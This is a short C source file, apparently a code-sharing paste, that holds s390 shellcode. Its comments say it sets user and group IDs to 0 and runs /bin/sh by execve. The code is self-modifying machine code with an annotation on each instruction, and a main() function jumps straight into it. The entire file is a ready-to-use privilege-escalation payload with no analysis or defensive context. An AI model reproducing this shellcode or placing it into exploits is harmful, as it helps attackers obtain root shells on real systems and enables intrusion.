390execve.c 1.4 KB

123456789101112131415161718192021222324252627282930313233343536373839
  1. /* setuid/setgid 0 execve s390 shellcode */
  2. /* code by jcyberpunk@thehackerschoice.com */
  3. char shellcode[]=
  4. "\x0c\x10" /* bassm %r1,%r0 */
  5. "\x41\x90\x10\x48" /* la %r9,72(%r1) */
  6. "\xa7\xa8\xfb\xb4" /* lhi %r10,-1100 */
  7. "\xa7\x68\x04\x56" /* lhi %r6,1110 */
  8. "\x1a\x6a" /* ar %r6,%r10 */
  9. "\x42\x60\x10\x48" /* stc %r6,72(%r1) */
  10. "\x17\x22" /* xr %r2,%r2 */
  11. "\x0d\xe9" /* basr %r14,%r9 */
  12. "\xa7\x68\x04\x7a" /* lhi %r6,1146 */
  13. "\x1a\x6a" /* ar %r6,%r10 */
  14. "\x42\x60\x10\x49" /* stc %r6,73(%r1) */
  15. "\x0d\xe9" /* basr %r14,%r9 */
  16. "\xa7\x68\x04\x57" /* lhi %r6,1111 */
  17. "\x1a\x6a" /* ar %r6,%r10 */
  18. "\x42\x60\x10\x49" /* stc %r6,73(%r1) */
  19. "\x41\x20\x10\x4c" /* la %r2,76(%r1) */
  20. "\x50\x20\x10\x54" /* st %r2,84(%r1) */
  21. "\x41\x30\x10\x54" /* la %r3,84(%r1) */
  22. "\x17\x44" /* xr %r4,%r4 */
  23. "\x42\x40\x10\x53" /* stc %r4,83(%r1) */
  24. "\x50\x40\x10\x58" /* st %r4,88(%r1) */
  25. "\x41\x40\x10\x58" /* la %r4,88(%r1) */
  26. "\x0d\xe9" /* basr %r14,%r9 */
  27. "\x0b\x17" /* svc n after self-modification */
  28. "\x07\xfe" /* br %r14 */
  29. "\x2f\x62" /* /b */
  30. "\x69\x6e\x2f\x73" /* in/s */
  31. "\x68\x5c"; /* h\ */
  32. main()
  33. {
  34. void (*z)()=(void*)shellcode;
  35. z();
  36. }